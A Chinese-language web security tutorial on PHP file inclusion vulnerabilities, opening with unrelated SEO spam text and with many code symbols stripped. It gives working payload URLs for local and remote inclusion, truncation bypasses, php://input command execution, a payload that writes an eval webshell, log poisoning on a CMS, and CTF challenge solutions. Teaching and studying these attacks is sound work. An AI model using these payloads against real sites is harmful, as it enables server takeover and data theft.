电器网站制作价格,上海到北京高铁最快2个小时,seo如何优化,网站为什么显示正在建设中目录 文件包含漏洞原理检测类型利用修复 本地包含-无限制#xff0c;有限制远程包含-无限制#xff0c;有限制各种协议流玩法文章介绍读取文件源码用法执行php代码用法写入一句话木马用法每个脚本支持的协议玩法 演示案例某CMS程序文件包含利用-黑盒CTF-南邮大#xff0c;i春… 目录 文件包含漏洞原理检测类型利用修复 本地包含-无限制有限制远程包含-无限制有限制各种协议流玩法文章介绍读取文件源码用法执行php代码用法写入一句话木马用法每个脚本支持的协议玩法 演示案例某CMS程序文件包含利用-黑盒CTF-南邮大i春秋百度杯真题-白盒 用这个漏洞去包含文件然后让这个文件去代码执行将他当做脚本语言去执行
文件包含漏洞
原理
?php$filename$_GET[filename];
include($filename);
接收参数值用功能函数把参数值包含
//http://127.0.0.1:8080/include.php?filenameindex.txt
包含漏洞造成的影响是将文件里面的东西当做代码去执行如果我们单纯去访问1.txt的话那么这个网站打开的就是一个代码把文件当做文本去执行了代码就无法触发出一个php的效果
你的网站是php的就当做php执行如果是jsp的就当做jsp执行
漏洞原理一个可以控制的变量一个使用函数造成的漏洞效果include包含就会造成包含漏洞
漏洞成因都是一样的就是漏洞的危害和等级不一样而已
/*
$filename$_GET[filename];
include($filename..html);
*/?检测
有代码我们就去代码里面分析到这个漏洞没有代码的时候采用工具扫描然后利用公开漏洞、功能点和参数值来判定就是可以看下网址后面的参数值是不是文件或类似文件名的一个命名来判定我们就可以替换对应的参数值来实现包含其它指定文件所以可以通过手工看参数值来判定是不是文件包含漏洞
根据这个功能是干吗用的针对网站这里功能的应用功能实现的话可能涉及到什么函数这个函数适不适合文件包含类似的来确定这里是不是文件包含漏洞这个就是检测的大致手段
类型
远程包含包含互联网可以访问到的文件远程包含漏洞危害更大一些本地文件包含是包含本地文件除非这个文件有你才能包含如果这个文件没有你就不能包含远程文件可以通过我们自己创建的网站和地址然后让这个漏洞去包含指向的文件由于是自己指向的这些类似的代码都是可以自己去确定的 无限制指的是包含漏洞没有限制直接用就可以了有限制可能有些干扰需要你用些特殊的方法去绕过
利用
能不能读取里面的文件或执行相关的命令要求可以通过一些伪协议这些伪协议可以通过相关的有限制的绕过绕过一些常见的WAF软件这些利用是属于他的一些拓展利用与其它协议的结合
修复
文件包含各个脚本代码 ASPPHPJSPASPX等
!--#include file1.asp--
!--#include filetop.aspx --
c:import urlhttp://thief.one/1.jsp
jsp:include pagehead.jsp/
?php Include(test.php)?将文件包含进去之后会调用指定文件的代码比如说我们要进行一个文件连接、数据库查询的话我们可以先包含一个数据库文件那么你在去连接的话就享有数据库的配置信息就不需要进行相关的操作所以它可以把功能性代码写到一个文件里面用另外一个文件去包含文件这样就不用书写包含文件里面的代码
固定后缀 对参数值进行检测如果不需要传参的话直接固定死就可以了 在实战情况下他没有得到代码他是不会想到后面强制加了个后缀他会排除很多原因第一种原因这个文件是不是存在是不是上面有拦截呀或者有没有漏洞他会有这些疑问测试的时候就会花很多时间但是时间花长的话真有漏洞他也测不出来所以我们加这个过滤后缀也可以防止一部分攻击。尽量还是固定为好。还可以装一些waf和监控类的产品来实时的看一下流量。 固定文件 固定包含的文件 WAF产品 部署waf产品能防止一些漏洞
本地包含-无限制有限制
http://127.0.0.1:8080/include.php?filename1.txt http://127.0.0.1:8080/include.php?filename…/…/…/www.txt
可以用目录的符号进行夸越…/
$filename$_GET[filename];
include($filename..html);指向文件的后缀是.html如果指向文件的后缀不是.html的在执行的时候会出现失败因为他强制性在后面加了html而导致指向的时候不存在这个文件除非你有上传权限上传.html的文件那是可以的 但是我们要想象到在实战中这个代码我又看不到你又怎么知道这里是html格式呢格式是千奇百怪的你如果说慢慢去测试的话肯定需要很长时间各种格式都要测试这是不现实的 一般我们在确认是包含漏洞在利用的时候我们会发现报错这种就是常规的限制 我们有两个方法去绕过 %00截断条件: magic_quotes_gpc off php版本5.3.4 filename…/…/…/www.txt%00 相当于被截断了.html没有生效那就是一个单纯的1.txt但是这个要满足php版本的 长度截断条件windows点号需要长于256linux 长于4096 相当于waf绕过垃圾数据填充的方法 命名过长导致html加不上去因为他已经是最大长度256就是windows上文件命名的长度超过这个长度就无法在命名了这个长度就是文件名的长度超过这个长度之后代码后面强制加上.html就会失效。 操作系统指的是目标服务器上的操作系统 因为接收的参数值过长相当于文件名过长.html就加不上去了 ./的写法这个文件最终还是会识别成.txt这个符号最终还是没有受到任何的干扰 根据操作系统决定的Linux上也差不多可以去网上查一下干扰符号的写法就是文件命名的时候干扰符写上去不会影响到文件的识别
远程包含-无限制有限制
http://127.0.0.1:8080/include.php?filenamehttp://www.xiaodi8.com/readme.txt http://127.0.0.1:8080/include.php?filenamehttp://www.xiaodi8.com/readme.txt%20 http://127.0.0.1:8080/include.php?filenamehttp://www.xiaodi8.com/readme.txt%23 http://127.0.0.1:8080/include.php?filenamehttp://www.xiaodi8.com/readme.txt?
在任何脚本里都基本上有一个简单的设置来确定这个漏洞会不会成为一个远程包含 第一种就是代码的限制如果代码有限制你只能包含本地文件的话那就不会造成远程包含如果说代码里面没有限制并且在开发平台设置里面也没有说不允许包含远程那么就是可以包含远程漏洞 在php里面就有一个开关这个开关叫allow_url_include可以通过phpinfo知道开关的情况 当前是on状态就是开启状态就是允许地址的一个远程请求 如果是其它脚本可以去搜一下基本上每个大平台上面都会有这个设置在配置文件、脚本代码里面 把远程文件访问并且调用执行了 我们在远程服务器上写一个后门代码我们在去访问这个地址现在代码执行因为代码执行就是一个空白我们用菜刀去连接这个就能成为一个后门
这个漏洞相当于会请求这个远程地址并且把这个远程地址代码去执行所以这个代码执行就是后门代码 这个就是属于远程包含无过滤的情况有过滤的情况是这样子的 加个%20、%23、?就能绕过了他会将后面的.html给过滤掉 这个就是最简单的远程包含漏洞原始的利用我们学的话就要学一点更加新的东西
各种协议流玩法
文章介绍
https://www.cnblogs.com/endust/p/11804767.html
读取文件源码用法
http://127.0.0.1:8080/include.php?filenamephp://filter/convert.base64-encode/resource1.txt 因为有时候代码会有一些乱码所以尽量要用base64会比较好一点
执行php代码用法
http://127.0.0.1:8080/include.php?filenamephp://input Post:?php system(ver)?
写入一句话木马用法
就相当于把后门代码给写到shell.php里面直接连接shell.php成功获取webshell那么这个网站相当于通过这个漏洞直接拿下权限 http://127.0.0.1:8080/include.php?filenamephp://input Post:?php fputs(fopen(shell.php,w),?php eval($_POST[cmd])?);? 不同的语言写法是不同的但是有些协议大部分都支持的比如file协议 file协议在使用的时候要用到完整协议就是这点不好有些特定文件我们知道路径有些完整路径可能不知道这个时候需要我们前期的信息收集可能才会知道 http://127.0.0.1:8080/include.php?filenamefile:///D:/phpstudy/PHPTutorial/www/1.txt http://127.0.0.1:8080/include.php?filenamedata://text/plain,?php %20phpinfo();?
每个脚本支持的协议玩法 有一些协议在脚本环境下是有些支持的有些不支持的在有些不支持的情况下是有些特殊例外的比如说有些版本限制呀有些安全配置之后可能就支持这个得根据实际情况 我们在使用某种协议写法的时候首先要确定当前网站脚本是否支持完了之后支持的情况下可能需要一些条件写法按照上面提供的玩法去玩就可以了
演示案例
本地文件包含代码测试-原理 远程文件包含代码测试-原理 各种协议流提交流测试-协议
某CMS程序文件包含利用-黑盒
本地包含我们大部分会去包含本地文件但是这个本地文件是它本地的如果说我们不能上传我的文件到这个网站上面去的话那只能包含之前在服务器上的一些文件由于之前的服务器文件不是我上传的我们是不知道里面有没有我们想要的代码的比如说像后门代码如果说后门代码有进去的话我们可以包含这个代码成功获取webshell但是这个后门代码不是我上传的而且那些文件你也不知道有没有你还要通过扫描探针才能确定有那些文件在进行包含 如果说本地包含你要考虑到一个能不能上传到本地上去如果说不能我们就要采取其它措施 思路代码审计、公开漏洞、漏洞扫描 我们知道网站使用的是cms我们可以直接去网站上面搜关于xxcms漏洞的情况有没有如果没有我自己就下源码去分析有的话直接去搜索去利用获取到漏洞的路径去搜索 本地文件包含漏洞你不能去远程包含要么上传文件去包含要么去包含固有的文件如果没有上传点你只能去包含本地文件 原始文件里面尽量找一些能够操作的文件比如说像日志文件通过将恶意信息记录到日志信息中然后日志信息中有后门代码再包含
http://192.168.10.22/index.php?smy/show/id/{~eval($_ POST[x])}我们等下利用文件包含漏洞的时候会把这个代码当作PHP执行写不写?php 是无所谓的因为你写上去也是告诉他你这是php代码但是你不写他也会把他当做PHP代码执行 我们学到的知识点一定是要多方面应用的实体网站一般就是完整的网站需要我们用到漏洞扫描工具、需要我们去网上找这套程序在网上有没有公开的漏洞可能我们需要想办法读到这套程序的源码然后把源码分析一遍能不能找到相关的漏洞这就是实战情况下的问题
CTF-南邮大i春秋百度杯真题-白盒
在ctf比赛中很少用到扫描工具大部分都需要你自己去观察去分析漏洞的情况在真实环境下可能就是一个网站那么这个时候就可以用漏扫工具去找他的脆弱点
单纯的地址、很粗糙的页面给你看这个就是很简单的页面我们右键源代码也是这么个东西那无非就是内容、网站地址上面看一下有没有东西
https://4.chinalover.sinaapp.com/web7/indexphp?fileshow.php首先参数名他是有讲究的写的是name传的是名字写的是id传的是编号写的是file说明传的是文件那就属于我们说的文件操作性安全的一些相关漏洞后面加上的参数值直接了当的告诉你这是个show.php 根据参数值和功能点去确定和猜测考了什么漏洞
php://filter/readconvert.base64-encode/resourceindex.phphttp://e5369bfd1d9c4bc4a66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?pathphp://input
Post:?php system(ls);?
http://e5369bfd1d9.c66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?pathphp://filter/readconvert.base64-encode/resourcedle345aae.php